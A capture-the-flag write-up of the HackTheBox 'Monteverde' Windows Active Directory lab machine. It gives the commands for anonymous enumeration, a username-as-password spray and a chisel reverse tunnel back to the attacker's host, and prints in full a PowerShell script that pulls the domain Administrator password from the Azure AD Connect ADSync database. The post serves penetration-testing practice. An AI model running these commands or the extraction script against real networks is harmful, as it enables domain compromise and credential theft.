Post

HTB Monteverde CTF Writeup

Medium-rated Windows Active Directory box. LDAP null-bind enumeration and a username-as-password spray gain initial access via SMB. A plaintext password in an Azure AD Connect configuration file enables credential dumping for domain administrator access.

HTB Monteverde CTF Writeup

HTB Monteverde CTF

Summary

Monteverde is a Medium-difficulty Windows Active Directory machine focusing on Azure AD Connect exploitation. The attack path begins with SMB and LDAP null authentication, allowing enumeration of domain users via BloodHound. A password spray attack reveals the credential SABatchJobs:SABatchJobs. Authenticated SMB enumeration exposes an azure.xml file in the user share containing cleartext credentials for mhope:4n0therD4y@n0th3r$. As a member of the “Remote Management Users” group, mhope provides WinRM access to the machine. Internal port scanning reveals an MSSQL instance hosting the ADSync database used by Azure AD Connect Sync. Using a known credential extraction technique against the ADSync database, the Administrator password d0m@in4dminyeah! is recovered, providing full domain compromise via WinRM.

Service Enumeration

I run:

1
nmap -A -vv -oN scans/nmap.initial -Pn 10.129.228.111

And here are the results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Not shown: 989 filtered tcp ports (no-response)
PORT     STATE SERVICE       REASON  VERSION
53/tcp   open  domain        syn-ack Simple DNS Plus
88/tcp   open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-12-17 17:46:13Z)
135/tcp  open  msrpc         syn-ack Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds? syn-ack
464/tcp  open  kpasswd5?     syn-ack
593/tcp  open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped    syn-ack
3268/tcp open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped    syn-ack
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows

AD Enumeration

The SMB server and the LDAP server both allow for null authentication.

Kerberos Attacks

I try for low hanging fruits vulnerable to kerberoasting, but nothing is found:

1
nxc ldap 10.129.228.111 -u '' -p '' --kerberoast k.log

I do the same for AsREPRoasting:

1
nxc ldap 10.129.228.111 -u '' -p '' --asreproast a.log

But nothing as well.

BloodHound Enumeration

Since the LDAP server allows for null authentication, I collect data about the domain using rusthound-ce:

1
rusthound-ce -d megabank.local -u '' -p '' -z -c All

It saves the zip file with the AD data to my local folder. I use it to feed BloodHound CE. I enumerate the domain, and see the only user member of “Remote Management Users” (the group anyone should be interested in, since allows for WinRM access to the machine) is “mhope”

image.webp

I also notice how mhope is member of the “Azure Admins”, which is a peculiar group I’m not familiar with:

image.webp

What is also interesting to me is this “AAD_987d7f2f57d2” user, that is also member of the “Azure Admins” group:

image.webp

When I click on this user, I can see its Description field. It reads like this:

1
Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE.

I google this:

image.webp

And now I have a somewhat better understanding of what is this about:

The term “Azure Synchronization Service” usually refers to

Microsoft Entra Connect** (or Azure AD Connect), the tool for syncing on-premises Active Directory (AD) to the cloud (Azure AD/Microsoft Entra ID) for hybrid identity, using the **Synchronization Service Manager for advanced control. It also refers to Azure File Sync, which centralizes file shares in Azure Files with features like cloud tiering and multi-site sync, and Azure SQL Data Sync, for synchronizing SQL database data.

It’s basically (to my understanding) a way to synchronize credentials between cloud-based services and on-prem services. A way to make life a little bit easier.

We don’t have access to “mhope” yet so there’s not much I can do with this information right now.

SMB Server Enumeration

I use smb null authentication to get a list of usernames in the machine:

1
nxc smb 10.129.228.111 -u '' -p '' --users-export users.txt

It saves all the users to “users.txt”:

1
2
3
4
5
6
7
8
9
10
Guest
AAD_987d7f2f57d2
mhope
SABatchJobs
svc-ata
svc-bexec
svc-netapp
dgalanos
roleary
smorgan

I use the acquired username wordlist to perform a password spray attack using kerbrute. I’m using the username as the password, since I have no password list for this environment.

1
kerbrute passwordspray --user-as-pass --dc 10.129.228.111 -d megabank.local users.txt

Sure enough, it works:

image.webp

Now I have the following valid AD credentials:

1
2
Username: SABatchJobs
Password: SABatchJobs

And can perform authenticated actions now. I enumerate the smb server, this time, with credentials:

1
nxc smb megabank.local -u SABatchJobs -p SABatchJobs --shares

And I notice how I have access to two interesting non-default shares, more specifically azure_uploads and users$.

I mount the users share because I find it easier to locate files this way:

1
sudo mount -o username=SABatchJobs,password=SABatchJobs '//10.129.228.111/users$' users/

Then I search for files:

1
sudo find users -type f 2>/dev/null

I get only one result:

1
users/mhope/azure.xml

And this file actually contains cleartext credentials for “mhope”:

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
    <Props>
      <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
      <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
      <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
      <S N="Password">4n0therD4y@n0th3r$</S>
    </Props>
  </Obj>
</Objs>

With that, new credentials:

1
2
Username: mhope
Password: 4n0therD4y@n0th3r$

Just to make sure, I tried password spraying again, with this new password:

1
nxc smb 10.129.228.111 -u users.txt -p '4n0therD4y@n0th3r$' --continue-on-success

But nah, the only user that has this password is in fact “mhope”.

Initial Access - WinRM

I access the machine via WinRM as “mhope”:

1
evil-winrm -i 10.129.228.111 -u mhope -p '4n0therD4y@n0th3r$'

Vertical Privilege Escalation

To enumerate the ports that are listening locally, I transfer “chisel.exe” to the victim. On my machine, I start chisel server:

1
nohup ./chisel server --reverse --socks5 -p 1337 &

And on the victim machine I start chisel client as a background process:

1
Start-Process -FilePath .\chisel.exe -ArgumentList "client 10.10.14.57:1337 R:socks" -WindowStyle Hidden

On my attacking machine I use nmap to scan the internal ports:

1
proxychains4 nmap -A -vv -oN scans/nmap.internal 127.0.0.1

When I notice there’s a MSSQL database on port 1433:

1
Discovered open port 1433/tcp on 127.0.0.1

After a few moments of trial and error, I’m able to authenticate to the database using Impacket:

1
proxychains4 mssqlclient.py -debug -windows-auth mhope:'4n0therD4y@n0th3r$'@127.0.0.1

I find one non-default database named ADSync. I enumerated for tables:

image.webp

More specifically:

1
select * from ADSync.INFORMATION_SCHEMA.TABLES;

I can’t make sense of what this database is about just by looking at the table names, so I google it:

image.webp

I read through some of the results, and change the googling a little to find this github repository:

image.webp

It links back to this article. The commands I’m using here are shown in the article. I simply use my winrm session as “mhope” to execute everything below (copy + paste):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=127.0.0.1;Database=ADSync;Integrated Security=True"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()

add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)

$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}

Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)

This is a slightly modified version of the original payload. The original one uses a local database on the client variable (but we’re using the MSSQL ADSync database):

1
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"

This ultimately prints out the stored credential in Azure AD Connect Sync:

image.webp

More specifically:

1
2
Username: Administrator
Password: d0m@in4dminyeah!

With that, I can log in to the machine as Administrator:

image.webp

This post is licensed under CC BY 4.0 by the author.